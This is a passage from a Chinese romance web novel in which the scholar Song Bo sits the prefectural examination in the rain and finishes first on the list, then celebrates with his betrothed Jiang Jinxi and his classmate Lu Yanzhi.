“许是有没问着的客栈,金熙你在这儿先占了房,我去其他处再问问。”宋泊说。 阿朝随青桥一起,都在宋宅生活快一年,宋泊早将他们当做自己人,哪儿能让自己人没有房儿住呢。 “不成,后日便要院试了,现在让你去找客栈不是浪费时间吗?”江金熙将店掌柜给的房卡塞入宋泊手中,“你先去客房内休息,我带着阿朝出去找房儿住。” “宋弟!好巧,你也住这间客栈呢?”路砚知的声音忽然出现在两人耳边,宋泊与江金熙一同转头看去,路砚知身后跟着四个侍人,正笑眯眯地盯着他们瞧,“可是发生了什么事儿,与我说说?” “就是客栈没了房儿,马夫没了位儿住。”宋泊道。 “原来是这事儿。”路砚知摆了摆手,身后一个侍人上前,路砚知在他耳边轻言几句,侍人点了头便朝店掌柜那儿去。 “好啦,解决了,现在正值晚饭,我请你们吃饭!”路砚知一拍胸口,领着宋泊和江金熙在客栈大厅坐下,阿朝则和路砚知的侍人们坐在一桌。 宋泊眼神一直留在路砚知派出的侍人身上,那侍人不知与店掌柜说了什么,店掌柜看了他们这儿一眼,便从前台柜子中又拿出个钥匙和房牌来。 “公子,钥匙和房牌都拿来了。”侍人停在路砚知身后,双手奉上。 路砚知一把拿过,让侍人回侍人桌后,将钥匙和房牌放在桌上,推到宋泊身前,“这是上等房,大得很,你与你爱人住这儿,标间给马夫住就是。” 宋泊睁大了眼,拿出刚刚店掌柜给的房牌一瞧,两个房牌根据房间档次的不同,做工也不同,路砚知拿来的那个房牌上头还有暗纹,确实比他手中这个豪华不少。 “你做了什么?为何能得此房牌?”宋泊问。 “什么也没做。”路砚知挠了下后脑勺不好意思地笑着,“这店儿是我们大伯的店儿,上房共六间,三间为路家人所留,但是大家来了银湖州都住大伯家去了,这房间便空了下来,正好能给你们用。” 宋泊没想到路家产业辐射这般广泛,他还以为路砚知只是个寻常饭馆老板的儿子而已,“只是大伙儿都去住你大伯家了,你怎么住客栈?” “是呀。”江金熙也是不解。 “长辈都在大伯家中,我一回去便听着他们唠叨我,搞得我也害怕起来,我想着宋弟之前说的话,便直接出来客栈住,这般我还能静心些。”路砚知道。 “也是。”宋泊答。 三人吃了晚饭后都回房歇息了,路砚知给他们让来的这间房确实大,与他们在传福镇的主卧差不多,一点儿不显拥挤。 房内没有书桌,宋泊便将书摊开在房中央的圆桌之上,江金熙闲来无事,坐在宋泊身侧,歪着头认真瞧着,一声未吭。 “可写得好?”宋泊扭头问着,细细一听其中还有几分期待。 恒国哥儿和姑娘都不得考科举,故而江金熙也没在科举上下过功夫,只是江丞相常在考试公布以后,将写得好的卷子拿回家中,江金熙偶尔看过,知道好的文章是何种样子。宋泊写的与那些人写的差不多,甚至比那些人还好些,要知道江丞相拿回家的文章定然都是好文,如此相比,说明宋泊写的也是好文。 “写的好呀。”江金熙答:“这么看来这院试当是难不住你。” “金熙说我写得好,我就高兴。”宋泊道。 江金熙听笑了,“我又不是考官,我觉着好有什么用。” “有令我开心的用。”宋泊挪了下屁股,离江金熙更近几分,脑袋一歪靠在江金熙的肩上,双手还环着江金熙的腰,“你可是我的福星,有你在身边我才能顺利考过。” “得了吧,我哪儿那么大用。”江金熙笑起来,发出银铃般清脆的声响,他反握着宋泊的手臂,任由宋泊抱着他。 “就有这么大用。”宋泊不管,抱着江金熙耍起赖来,江金熙无法,只能陪着他胡闹一阵子。 两人甜腻了一会儿,江金熙觉着宋泊的书儿无趣便从宋泊的怀中起来,坐到床上看他的医书。 蜡烛燃至一半,有人从外头敲门,宋泊一问,是路砚知来了。 路砚知翻着县学发的书籍,忽而又找着些问题,怕一下一下来会扰着宋泊,他便凑齐了十个问题,一同来问宋泊。 江金熙开的房门,路砚知先探头进屋,左瞧右瞧发现屋内一片正常,才问:“没打扰你们吧?” “有什么打扰的。”江金熙侧了身,放路砚知进屋。 宋泊和江金熙两人穿戴整齐,江金熙开门的速度也很快,当是两人都在用功读书,路砚知这才放下心来,读书是重要,但也不能扰了别人的好事。 “什么不懂?”宋泊抬眸。 “这!这儿又不明白了。”路砚知收起自己的心思,拿着书籍跑到宋泊身边,像个学子一般双手相搭放在腹前,听着宋泊为他解答。 江金熙坐在床侧正好能瞧着两人的动作,路砚知侧耳倾听,宋泊指着书籍柔声解答,这么看来倒有些像夫子给学子讲课,有趣得很。 100-110 第101章 第一百零一章院试。 八月三日,院试到了。 少了宋茶栽,便没有人着急忙慌地叫宋泊和江金熙起床,他们本想多睡会儿,却没想着杀出了个路砚知。 宋泊被敲门声扰醒了来,他看了眼窗外,天乌漆嘛黑,连星星也瞧不着,世间安静得路砚知的敲门声尤其清晰。 “宋弟,醒了吗?”路砚知压着声音从门缝往里唤着,现下毕竟不是白日,大喊大叫没准会有人出来骂他,今日可是院试,重大的日子,可不能讨不吉利。 宋泊掀开被褥,起身开了门,刚开门便看着路砚知精神满满地站在他门前,“路兄,你这么早是要做什么?” “现下可不早啦!现在已经寅时初了!还一个时辰就考试啦!”路砚知急声道。 院试比县试早一个时辰开始,不过宋泊是想着寅时一刻在起床的。 “我爹与我说了,院试入考院的手续多,咱们得早些去!”路砚知记着宋泊房内还有个江金熙,便没有大喇喇地直接开房门进去,他站在房门外,焦急地劝着宋泊:“要是途中哪个学子出了个什么问题,卡着我们没入府门,那咱们读了那么多日岂不是白瞎了?” “快走吧宋弟,你家爱人让他再睡些时候就是。”路砚知说。 索性醒了也睡不着觉,宋泊便答应了路砚知,他让路砚知在门外等会儿,他把学服换上。 “怎么了?”江金熙翻过身来,朝着宋泊所在的方向问着,往日他在传福镇都是辰时上工,现在不过寅时,比辰时早了两个时辰,实在是困人的很,让他睁开眼都费劲。 “路兄找我去考场了,你在房内睡就是。”宋泊边说着边换衣裳,学服宽松好穿,他穿在身上两边一合再把绑带绑上就是。 “不成,我得陪着你去。”江金熙眼睛都未睁开,手臂便支着身子打算起来,他还记得宋泊说过的话,宋泊想他陪着一块儿去州府,他又怎能在这个时候睡觉呢。 宋泊瞧着江金熙这副努力的模样,心中软成一滩水,他绑好学服绑带,走到床边,两手从江金熙的腋下穿过,自前而后地拢着他,将他轻轻放倒在床上,“无妨,考个试而已,我自己可以去。” “不行。”江金熙还挣扎着。 “你这样睡眼朦胧陪着我过去反倒会让我担心,等会儿困倒了我还提心吊胆的,不如睡饱了来接我。”宋泊弯下腰,在江金熙耳边轻声说着。 江金熙想了下,自己现在的状态确实不宜到考场前待着,他苦恼着自己昨日怎不早些睡的同时,听了宋泊的建议。 江金熙抬着手,环着宋泊的脖颈,而后努力地睁了眼,对着宋泊的唇吻了上去,“你去吧。” 这吻蜻蜓点水,一碰即分开,宋泊蹭了下江金熙的脸,道:“有这一吻,我必定稳过。” 简单吃过早餐,宋泊和路砚知出了客栈,只是这一出来,宋泊便觉着今日天气不好,虽说现在天还暗着,但一片一片厚重的云飘在空中,风中似乎有雨水的气息。 今日当会下雨。 宋泊反身回客栈给自己和路砚知都拿上了伞,州府给不给伞他们不知道,若是州府不给伞,他们在院中等待每场考试成绩出来的同时,总不能淋成落汤鸡,学子少运动,雨一淋当即发了烧,脑袋混沌成浆糊,岂不可惜。 院试入考场确实比县试难些,刚到州府门口,便瞧着一排教谕站于州府门口,像一堵墙一般,其中便有他们霞县县学的连教谕。这些教谕便是学子进入州府的第一关,参考学子需有教谕*带领,才能顺利进入州府。 连教谕带着宋泊和路砚知进了州府,与登记身份的幕友做了担保,这才重新回到州府门口。 这院试查身份比县试严多了,除了姓名、籍贯和三代履历,还要查五位同学与一位廪生的担保信,这些东西他们在县学时便准备了,因着宋泊治住魏关的原因,不少被魏关欺负过的同学都愿意当宋泊的担保人,连教谕从一堆人中选出来德才较好的人,成了宋泊的担保人。 登记的寮友将信件看完以后便放了行,宋泊去往第二关卡搜身。 宋泊都凭自身才学考试,自然不怕搜身这关,只是有些人总心存着侥幸心理,过了第一关却被第二关的寮友查出夹带,拉了出去。 宋泊过了搜身寮友,到了给他考篮的寮友面前,他问:“我瞧今日会下雨,不知可否带伞进去?” “州府有规定,除笔、墨、砚三物,其余都不能带进考场。”说话间,寮友将宋泊的笔、墨、砚从书袋中拿了出来,留着伞在书袋里,“不过你也不担心,府中有供学子休息的地方,断不会淋着雨。” 考过院试可就有个秀才身份,那是跨入仕途的第一步,保不齐哪个秀才以后步入青云,成了自己的顶头官员,知州自然得重视这院试,他早早料到今日或有雨,紧急开了个厅堂供学子休息。 宋泊接过考篮,回道:“多谢。” 顺利拿上号牌,宋泊进了号房,院试与县试相同,考生都在同一号房之间,由号牌决定位子。 因着参加院试的人来自银湖州内个个不同的县学,知州也不知个个考生成绩如何,故而第一场号牌的排序是随机的。 宋泊被分到正中位置,州府比县府大得多,每个人分得的位置也大上不少,宋泊将寮友给的考篮放在地上,从中拿出笔、墨、砚,这一套文具是他县试用过的,算是与他一同上过战场的战士了。 宋泊来得早,边儿还没什么人,他研着墨,心绪宁静。经历过县试,他对恒国的科举考试已经有了了解,先前那种虚无的恐慌感便消失许多,随之替代的便是由内而生的自信。 魏关和宋申闻也来了,两人位置分散的很,魏关坐在后头,而宋申闻却坐在第一位。 这次院试也是知州坐堂,院中钟声响起,知州分了卷子,再一声钟声响起,作答开始。 宋泊在知州分卷子时,便多看了几眼,现下可以答题了,他立即提笔写下答案,院试的题量比县试大些,其中还加了些挖了空的填空题,不过填空题都是从四书五经中挖出来的,对宋泊来说简直是手到擒来。 正写着一半,豆大的雨滴便落了下来,吧嗒吧嗒拍在号房的瓦片儿上,实在吵人,有些考生被这雨影响着,心生烦躁,手中的笔迹都出了问题。反观宋泊,犹如一棵松树一般焊在座位上,他心绪沉稳,不被外界因素所扰,眼神坚定地看着卷子,手中笔未停下半刻。 天越来越黑,雨声越来越大,考生们就在这般环境中,完成了第一场考试。 与县试相同,每场考试都会有被筛出去的人,出了号房后,宋泊等了下路砚知,两人一同到知州安排的休息室中。 路砚知自出来便耷拉着一张脸,看着情绪不佳,宋泊问:“路兄这是怎么了?” 路砚知有多年考县学的经历,学习时间七年往上,这般说来,路砚知的基础知识应当很稳才是,不应该被第一场刷下去。 “刚刚下雨吓了我一跳,搞得我的字飞了出去,不知考官会不会因为这点儿,把我判定为不及格。”路砚知愁道。 先前那雨确实来得突然,路砚知被雨声吓着也是正常,“飞出去了几个字?” “一个。”路砚知答。吓着以后他立即就停了笔,等心跳稳定下来后,他才重新动笔,故而写飞的字只有一个,“我还稍微补救了些,看着其实不太显眼。” “那便没事。”宋泊拍了两下路砚知的肩膀,“放宽心,考官定然不会因为这点儿小失误,便赶你出去的。” 如宋泊所料,路砚知成功进了下一场。那点儿小错误确实没有什么太大的影响,最多只是排名靠后几位,不至于刷出去。 宋泊领了号牌,又坐上了第一位,而宋申闻经过第一场,坐到了第七的位置。 宋申闻看着前头宋泊的背影,怎么看怎么觉着刺眼,据他所知这人不过读了一年的书,怎的就会有这般实力。 宋申闻用力地研墨,心想,定然是他运气好,第一场撞着大运了,才会坐到一位上。 第二场的考卷难度瞬间往上提了不少,虽说还是靠基础知识,但是却加上了作诗。 无论在哪个时代,诗总是文学中的重中之重,恒国皇帝第一重视策论,第二便重视诗词,院试的诗题比县试的诗题难上不少,写的寄情诗,寄的还是特定的情,诗体方面要求为五言律诗,五言律诗本就比七言律诗短,题目还要求只能写四句,那便是短中之短。 要在这么短的篇幅中将诗写得精准、写得好,十分考验学子的诗文水平。 宋泊将写诗题留至最后,到写诗时他斟酌许久,思考加动笔花了半个时辰,才作出一首相对满意的诗。 第102章 第一百零二章好好休息。 第二场试考完,雨也停了,宋泊与路砚知重新回到休息室中,路砚知的脸更垮了,他刚刚便是擦着边进去的,现下可能得被当做边儿擦出去了。 “宋弟,我只能陪你到这儿了。”路砚知道。 “路兄别这么丧气,我知道你的实力,应当能进的。”宋泊回道。 宋泊并非安慰路砚知,而是路砚知确实有通过第二场考试的实力,同寝这么久,路砚知什么好什么差他一清二楚,若说哪一场考试会把路砚知刷出去,那应当是第五场的策论。 “可我现下想来,才发现我写了错别字。”路砚知垂头丧气着。 “与其想着之前的第二场,不如想想接下来第三次,若进了你却毫无准备,这岂不是错失机会?”宋泊道。 院试时间很紧,每场考试都被延长了来,中间留给学子休息的时间便短了些,纠结前头的考试内容对整场院试来说百害而无一利。 “也是。”路砚知被宋泊劝动了,将第二场考试的事儿暂时抛到了脑后。 第二场考试结果出得也很快,宋泊从第一位落到了第二位,坐在第一位的人是个他没见过的人,应当是别县的考生。 路砚知也进了第三场考试,不过还是以擦边的成绩进的,坐在号房的最后一位。 宋申闻的名次又往后了些,这次眼前被他人的背遮住了,瞧不到宋泊的背影,他咬了咬牙,想着宋泊真是运气好,第二场考试已然难了些,他还能坐在前三之中。 第三场考试开始之时,雨又落了下来。 宋泊心无旁骛,先在草纸上打了草稿,才把答案转到卷子上头。 第三、四场考试,宋泊皆顺利通过,第三场得了第一,第四场也得了第一。 到了第五场考试,天色很暗,知州在号房里点了蜡烛,每个学子桌上都有一个灯架。 第五场与县试相同,单给一篇文章,要考生从中分析出观点,写出一篇策论。 窗外天黑,虽然号房内点了蜡烛但蜡烛火光摇曳,环境差多少会影响到考生的心态。宋泊定了心,重新投入考试当中。 正写了大半篇,号房内忽然吵闹起来。 “着了!着了!” 声音从宋泊的身后传来,宋泊无心管身后的事儿,只听着知州急急起身,到外头喊了杂役来。 因为怕院试途中出了问题,杂役们都守在号房门外,知州一唤,便有杂役拿着水桶进来。 泼水声中,宋泊闻到了东西烧掉了的味道,怕不是有考生打翻了桌上烛台,将自己的卷子烧了去。 “请各位考生专心做法,若发现卷中雷同,按作弊处置。”知州重新坐回上位,他扫视着下面的考生,厉声道。 一人烧了卷子,连着边儿上的考生都混乱起来,保不齐有人趁着混乱作弊,知州才会如此说着。 后头的纷乱都与宋泊无关,宋泊写着自的卷子,在吵闹停止的时候,他也将策论写完了来。 县试交卷有时间限制,院试自然也有,宋泊是第一个交卷子的,若写得好,成绩应该在一档。 从号房出来,宋泊换回了自己的东西。 雨还在下着,啪嗒啪嗒打在瓦砖上,一路走出来都是有顶的长廊,宋泊便没有打伞,正走到州府门口准备撑开伞的时候,便瞧着一人朝他走来。 江金熙身着一身淡蓝色衣裙,手中撑着一把青色竹纹伞,他抬着脚,脸上带着温柔的笑意,一步一步向他走来。 宋泊忽然觉着一切都值得了。 “有没有淋到?”江金熙走到宋泊面前,伞一倾斜,将宋泊接入伞中。 宋泊从江金熙手中拿过伞,而后将伞往江金熙那边倾了倾,这雨还有些大,打在地上都会泛起一些水点儿在鞋上。 “州府都是屋檐,没得淋雨的地儿。”宋泊道。 “路兄呢?可得等他?”江金熙问。 “不必,我们走就是。”宋泊回,他刚刚从号房出来的时候看了路砚知一眼,路砚知一手撑着额头,一手拿着毛笔迟迟未下笔,应当是策论写到哪儿卡住了,不会那么早出来。 “那我们走吧。”江金熙说着,往宋泊身侧又靠了些,今日瞧着宋泊的面色还不错,他便问着:“今日考的如何?” 县试的案首应当不会差到哪儿去,江金熙这才敢问着。 “还行。”宋泊答,其实他觉着上榜应该没问题,只是古代的科举不确定的因素很多,他也不好直接跟江金熙说他能上。 江金熙也没问还行是什么意思,他与宋泊走在雨中,一会儿便回到了客栈。 进入客栈,宋泊把伞合起来的时候,江金熙才发觉宋泊的一侧肩膀都被雨淋湿了,“你怎的都不与我说!”江金熙赶紧让店小二拿了布来,边给宋泊擦着身上的水,边骂着他,“虽说现在是夏季,但淋这么湿也是会生病的。” 宋泊双眼弯了,听着江金熙的骂声也觉着甘之如饴。 “傻笑什么,读书读傻啦。”江金熙把宋泊身上能瞧着的水都擦干净了以后,跟店小二交代着抬桶水上去,便拉着宋泊的手腕往楼上走。 进房没多久,店小二便将水抬了上来,江金熙正打算把屏风打开,宋泊就接了手去,“这屏风有些重量,我来。” 宋泊把重活儿接了去,江金熙便去做些轻松的活儿,他把浴巾和木盆放在浴桶旁边,又把干净的衣服放好。 宋泊这才脱了衣裳进了浴盆。 有一屏风相隔才越发令人想入翩翩,江金熙用忍不住眼神往屏风哪儿飘去,宋泊坐在浴桶之中,露出个肩膀和脑袋的型儿,他拿着水勺儿舀水泼在自己身上,哗啦的水声让江金熙赶紧挪开了视线,非礼勿视非礼勿视,等宋泊成了自己夫君,他总有时间看个过瘾。 宋泊觉着这房内只有他洗澡的声响有些尴尬,他便找了个话题,“其实今日还发生了点儿事。” “何事?”江金熙问。 “今儿个有考生的卷子烧了。”宋泊说。 之前身后的混乱动静他没往后瞧,临了走了他才看了眼,是坐在六十五位的考生的卷子烧了。 虽然知州又给他发了张新卷子,但他还是塌了张脸,眼中满是不甘,因为就算从那时开始写,到了收卷子的时候是写不完的,相当于已经落了榜。 “什么?”江金熙的声音拔高了一些,“可有扰到你?” 考场之上,既考学识又考心态,本来今日天气就不好,再加上有人不小心烧了自己的卷子,有些考生可能会觉着今日不吉利,心态受到影响,江金熙怕宋泊也被扰到。 “我坐前头,烧卷子的事儿发生在后头,倒是没扰到我。”宋泊说:“不然我便不会这么早出来了。” “那你便是天生适合考科举的人。”江金熙夸赞,若是让他来,他不一定有宋泊那样良好的心态。 考科举的人没一个不想当官,为官之人碰到的事儿比寻常百姓要多得多,而且遇到的都是难事、乱事,没有一个良好的心态,在官场是走不远的。 “早些考取功名,早些娶你。”宋泊道,江金熙是他考取功名的最大动力,没有他,他可能只会在近里村里随刘南民种地过一生。 聊着聊着,宋泊洗好了澡,顺带着把头发也一块儿洗了,听着宋泊起身的声音,江金熙连忙扭过脸,光是听着声就足以让他耳朵红透。 宋泊换上自己的衣裳,顶着一头还滴水的头发,让店小二把浴桶抬出去。 宋泊坐到床侧,江金熙皱着眉头,“头发怎么这么湿。” “夏季了无妨,让它自然干就是。”宋泊不以为然道。 “那怎么行!”江金熙拿过面巾,给宋泊擦着头发,边擦还边念叨着,“你不知道多少头风病就是这么来的,懒得擦头发后头你就知道苦了。” 宋泊转了头,看着江金熙,“是,还好我有江大夫在,不然往后我可得得头风了。” “说什么呢!”江金熙抬手轻拍在宋泊的额头上,“一天天的,就知道胡说。” 宋泊心里美,被江金熙打了也高兴,原来有人管着自己的感觉是这样的,他在县学时洗了头就顶着个湿头回宿舍,路砚知非但不会说他,反而还有样学样,跟他一块儿顶着湿头。 江金熙细心得很,每根发丝都细细擦着,宋泊舒服得眯起眼来,恍惚间竟升起了些困意,他闭着眼,身子摇摇晃晃。 江金熙见宋泊困了,他往后挪了些,接着轻轻从后揽着宋泊的肩膀,让他躺在自己的大腿上,“你早上那么早起,便靠着我睡吧,头发得擦干我才能安心。” “那多不好。”宋泊睁着眼,“我还能坚持。” 宋泊嘴上说着坚持,实则连半炷香的时间都没撑住,便脑袋微微一歪,睡了过去。 江金熙心中一阵好笑,这人说着坚持,实际早困得不行了。 宋泊今日考了院试,定是脑子累了,早些休息也好。 江金熙把宋泊头发擦干了后,悄悄托着宋泊的脑袋,把自己的大腿挪出来,换上枕头,而后他爬下床把面巾放好,给宋泊盖上被子,他瞧着宋泊的唇,一时没忍住俯了身,在他唇上落下一记轻吻。 好好休息,我的宋郎。 第103章 第一百零三章院试榜首。 院试发榜的时间与县试差不多,都是考完后三至五日,宋泊、江金熙和路砚知三人便在银湖州等着,路砚知还做了回东道主,带宋泊和江金熙两人在银湖州内吃各种小吃、玩各种项目,院试以后的乡试还有一年,如此努力了这么久,休息个三、五日也是应当的。 八月八日,一个吉利的日子,州府选在今日放榜。 八月七日,江金熙用一两银子换了一堆碎铜钱,抱着个沉甸甸的钱袋子便回了客栈。 “你这是做什么?”宋泊问。 先前出门的时候,江金熙特意说了要晚他们一些时间回来,宋泊还以为他要做什么去,还让阿朝陪着。 现下拿着钱袋子回来,宋泊也是一头雾水。 “明日放榜,当然要准备些散钱给大家发赏钱呀!”江金熙颠了下钱袋,一千个铜钱可是不轻,“我只换了一两银子,会不会太少了?” 没想到江金熙晚回来是为了这事儿,宋泊起身走到江金熙身旁,接过那钱袋,道:“除了案首,谁需要撒赏钱?” “这不是备着,有备无患嘛。”江金熙道。 宋泊放下钱袋,拉着江金熙的手两人面对面坐着,“你对我这么自信?” “你不是说你都坐在前两位嘛,我觉着你的机会还是很大的。”江金熙捏着宋泊的指节,说道。 宋泊笑了,江金熙这么信任他,院试结果可别让人失望啊。 院试过了就是秀才,再加上院试是好几个县集在一起,这看榜的人便比县试翻了一番。 “宋弟,我好害怕啊。”路砚知搓着手,心里像有只小鹿在乱窜一般,令人慌神。 “那等会榜来了,我替你瞧。”宋泊说。 路砚知着急看榜,天未亮就来喊他们,这下他们抢了个好位置,排在人群前头,能在放榜时第一眼便看着榜。 江金熙随他们一起来,他抓着宋泊的手,掌心冒汗。 “你也紧张呢?”宋泊察觉着手心里的汗,他偏头与江金熙小声说着。 “我自然也紧张。”江金熙抬眸,“倒是你,明明是你考的试,你怎么一丝紧张也无?” “如果只是上榜,我应当没有问题。”宋泊道。 宋泊话音刚落,便有官府的人敲锣打鼓来了。 “放榜了!放榜了!”有人喊了一声,人群躁动起来。 官府贴榜需要一些空间,大伙儿都往后让了让,给官差挪出位子来,官差把红榜贴上,等着吉时。 一官差在为首之人耳边说了句话,为首官差便高声喊着:“放榜——” 官差走后,宋泊他们都不用自己动,便被人群推着往前走着。 他们站的这个位置位于榜中,既看不到榜首也看不到榜尾,索性到了哪里便从哪儿看起,他们从榜上十位看到三十五位,没瞧着宋泊和路砚知的名字,倒是看见了魏关和宋申闻的名儿,魏关名次比宋申闻高些,魏关排在三十,宋申闻排在三十五。 “完了完了,我定是落了榜了。”路砚知的心情一落千丈,拢共上榜四十七人,这都看了一半都没他的名儿,定然是无了。 “别那么快下结论,我们先往后瞧瞧。”宋泊说着,一手揽着江金熙,一手拉着路砚知的手臂,挡开周围百姓,挪到了榜尾,榜尾四十七名下写的就是路砚知的名儿。 江金熙眼睛利些,他早两人瞧着名次,赶紧报喜,“路兄!你上了!在第四十七名!” “真的?!”路砚知听着江金熙的话,心脏跳得极快,“江公子你莫不是在骗我。” 宋泊也挪到了能瞧到榜尾的位置,说:“金熙说的是真的,你确实在榜尾第四十七名。” 路砚知惊讶地瞪圆双眼,忽而生出一股牛劲来,将身边人都挤开,直到双眼真瞧着榜尾四十七名下是他的名字,他才欢呼出声,“中了!我中了!” “恭喜呀!”宋泊贺道。 江金熙也跟着说了声恭喜,只是替路砚知高兴之余,他还有些担心,只剩前十名没看到了,宋泊一旦上榜定是高名次,可若是落了榜,他可得赶紧让阿朝把钱拿回去,别让宋泊瞧着难过。 路砚知自己兴奋完了,才想起宋泊的名字还没看到,他卯着劲,一边拉着两人往榜前赶,一边说:“我被宋弟教过都得了四十七名,宋弟的名次定然低不了。” 周围不少人已看完了榜,既有欢呼声也有哭泣声,倒是真切反应出人们的悲欢并不相通。 沿着十位往上瞧,直到第一名,他们才看到个熟悉的名字。 路砚知指着榜上宋泊的名字,高声道:“宋弟!你是榜首啊!!!!!” 江金熙昂着头,看到第一名下写的宋泊,高兴地抬着双手捂着嘴,高兴到极点他连话儿都说不出来,眼眶中有晶莹闪过。 宋泊料到自己会上榜,而能不能当榜首他其实没有太大把握,虽说前四场他的成绩都在前三以内,但恒国的科举考试策论占大头,以往科举也发生过策论考完被翻盘了的事儿,所以他并没信心。 “榜首啊!!!我们霞县好久没有出过榜首了!”路砚知大声道,霞县已经十二年未出过院试榜首,这下宋泊当了榜首,可是给他们县争了大光。 边儿人听着路砚知的话,纷纷转头过来与宋泊贺喜。 “恭喜啊,年轻有为呀!” “瞧着宋公子年纪不大,可是当代文曲星。” 听着周围人贺喜,江金熙这才从巨大的惊喜中回过神来,他挤出人群,让等在外头的阿朝拿着钱袋进来,给刚刚说了贺词的人发了赏钱。 见有钱拿,大家纷纷挤到宋泊身边,左一句右一句地说着贺词,一个个发赏钱实在太慢,江金熙便从钱袋子里抓了一把,直接撒了出去。 “祝榜首平步青云!” “恭喜榜首!榜首财大气粗!” “多谢榜首,真是英雄出少年呐。” 宋泊朝百姓们拱手行礼,“多谢大家,同喜同喜。” 江金熙撒了两下便累了,让阿朝接过手替他撒钱。 一两银子撒完,宋泊他们才从人群中出来。 在榜前耽搁太久,天都亮了起来,客栈的厨师起了床,宋泊他们找了个大厅的桌儿,由路砚知点了不少早餐清淡吃食。 “今日双喜临门!我做东!请你们吃一天!”路砚知笑得合不拢嘴,满眼都是高兴,他抬起手,他的侍人立即走了过来,路砚知与他说了话,侍人离开后没一会儿便拿了个红色锦袋来,放到路砚知面前。 路砚知双手拿起锦袋,送到宋泊面前,“宋弟!这是我的谢礼,请你收下!” 四月那次喝酒丧志,若不是宋泊劝他,后头还为他答疑解惑,让他多瞧些策论,他这次定然是上不了榜的。 第五场考试时,他边儿的考生把卷子烧了,对他影响很大,紧急之下他记起宋泊与他说过的技巧,死马当作活马医,写满了卷子,没想到真让他擦着边儿考上了。 如此一来,宋泊可算是他半个师傅,院试上榜这么大个喜事,怎么能不好好谢谢他呢? “路兄这是做什么?”宋泊挡住路砚知的手,这锦袋看着沉甸甸的,且不是装有铜钱那般圆润的形状,里面最少也有个几两银子。 “谢谢你领我上榜!”路砚知推开宋泊的手,直往他怀里塞钱,“你可得收了,不然我要生气的。” “哪儿领你上榜了呀,那是你自己的努力。”宋泊说。 “没你教我,策论这场肯定没了。”路砚知知道自己几斤几两,“你就收了!一点儿钱而已!” 江金熙瞧着两人的推拉,笑道:“今日可是个大喜日子,就别计较那么多了。” 见江金熙站在他这侧,路砚知急忙顺着江金熙的话茬往下接道:“就是呀!江公子你可劝劝你准夫君。” 宋泊拗不过他们,只好收下。 “这就对了。”路砚知心满意足地坐回自己的位置上,“往后还有乡试、会试,我可还指着你给我当夫子呢。” “什么夫子?”江金熙好奇地问道。 每月宋泊回家都会与他说县学中发生的趣事,但这“夫子”确实是从未听过。 说到这事儿路砚知就开了话匣子,他将宋泊教他的东西挑了重点儿说,宋泊教给他的知识实在太多,若是都要说完那可得说上三天三夜,“这般你可知道宋弟有多厉害了?要我说,县学的夫子就应当他来当。” 宋泊嘘了一声,“诶,可不兴这么说。” 路砚知自知失语,以豆浆代酒,“我说错话了,自罚一杯。” “宋泊他真的这般厉害?”江金熙道。 路砚知猛地点头,竖着两个大拇指,“实在高强。” “要不是我考不了科举,我可得领教领教宋泊的厉害。”江金熙说。 “那可真是你亏了!”路砚知继续说。 就算是性子淡然的宋泊也捱不住两人的轮番夸奖,他的耳廓有些微红,不自觉的挠了下后脑勺,“你少说点吧,夸得我跟神仙一样的。” 第104章 第一百零四章报喜。 翌日,宋泊与江金熙坐上了回近里村的马车,路砚知与他们同行一阵,过了霞县便分道扬镳了。 坐在马车上,江金熙双手撑在身边,撑直了身体,“我已经想着大姑会如何高兴了。” “我这么早回去,也是想赶紧将这个好消息带到大姑那儿。”宋泊应道,宋茶栽可是他科举之路上的大功臣,要不是路砚知要留他们吃饭,放榜那日的下午他就想要出州回村了。 “哎呀,我忘了换钱。”江金熙忽而想起赏钱这事,上次换的一两银子已经全发了,村中没有换钱的地方,想要把整个银两换了,还得在传福镇中找个钱庄。 “我这儿还有二两银子,你便用这个换吧。”宋泊从怀中掏出钱袋,从中拿出了二两银子,之前在百书阁做工存的钱,到现在也未用完,还没花着江金熙和宋茶栽的钱。 “才不要。”江金熙拿过宋泊的钱袋,把宋泊手中的二两银子装了进去,“我本就没出什么力,现在好不容易可以表现了,你可别抢我的活哦。” “好好好,你来发你来发。”现在的宋泊已经不会将事儿分得那么清晰,考中榜首是件好事,江金熙想帮他发赏钱给村里的邻居,他也不会没有眼力见儿地扫他的兴。 传福镇很快到了,宋泊和江金熙先回了趟宋宅,从银湖州传消息回来到传福镇没有那么快,故而宋宅中留守的简言和青桥都还没收着消息。 简言拉开宋宅大门,瞧着门外站着的宋泊和江金熙,急忙道:“主君、郎君,你们回来了!” 青桥思主子心切,记着时间守在门口,这时儿站在简言旁边,唤道:“公子,你可回来了。” 常乐跟在简言的腿边,见着两人回来,它一下迈出大门门框,在两人腿边甩着尾巴打圈。 江金熙弯腰把常乐抱在怀中,这狗儿现在已经成年了,抱起来沉甸甸十几斤中,可是累人。 常乐一扭脸就想舔江金熙,它越舔江金熙就越往后躲,宋泊在一旁看不过眼拍了常乐的脑袋一下,常乐这才收了舌头,乖乖趴在江金熙怀中。 “主君,这次如何?”简言问。 这几年在宋宅当侍人,重的活儿没有反倒吃饱穿暖,在简言眼中,这儿可是个宝地儿,而宝地儿的主人宋泊便是个十分厉害的人。 “进去说吧。”宋泊说道,跨步进了院儿。 官府的消息还没传来,宋泊便不想在门口说这事儿,他得了院试榜首成了秀才这消息若传了出去,短时间内他家可别想有个清净。 简言把宋宅大门儿一合上,跟在宋泊和江金熙身侧,说:“让我猜猜,主君定然是上了榜了!” “噢?为何?”宋泊问。 “昨儿个便有考中的学子回来,那门槛都快被人踩烂了去,主君不让我们在门口说,肯定是怕别人听了,也上门讨喜呢!”简言说。 简言正是鬼灵精怪的年龄,如此猜想也是他心思活络。 江金熙有意逗简言,他将常乐放下,而后摸着简言的脑袋,说:“那你就不想想,许是你家主君落了榜,觉着在外面说丢人呢?” 简言想也未想,“不可能”三个字脱口而出。 引得宋泊和江金熙两人对视一眼,哈哈笑着。 简言红了脸,“主君、郎君,你们笑什么嘛。” “笑你聪明。”宋泊也揉了把简言的脑袋,说:“我是榜首。” “榜首!”简言两眼通圆,他其实不知道榜首两个字有什么含金量,只是在他的脑海中,什么事儿做到第一名都是极其厉害的,“主君你好厉害!” “厉害吧,往后你家主君会更厉害。”江金熙说。 院试榜首只是个开始,宋泊还有很长的路可以走。 宋泊和江金熙并未在宋宅里久待,回近里村才是要事,青桥和简言留在家中,阿朝随他们一块儿回村。 青桥本来不愿意再待在宋宅之中,他想陪在江金熙身旁伺候他,只是江金熙拿了主子的威信出来,青桥才不舍地留在宋宅。 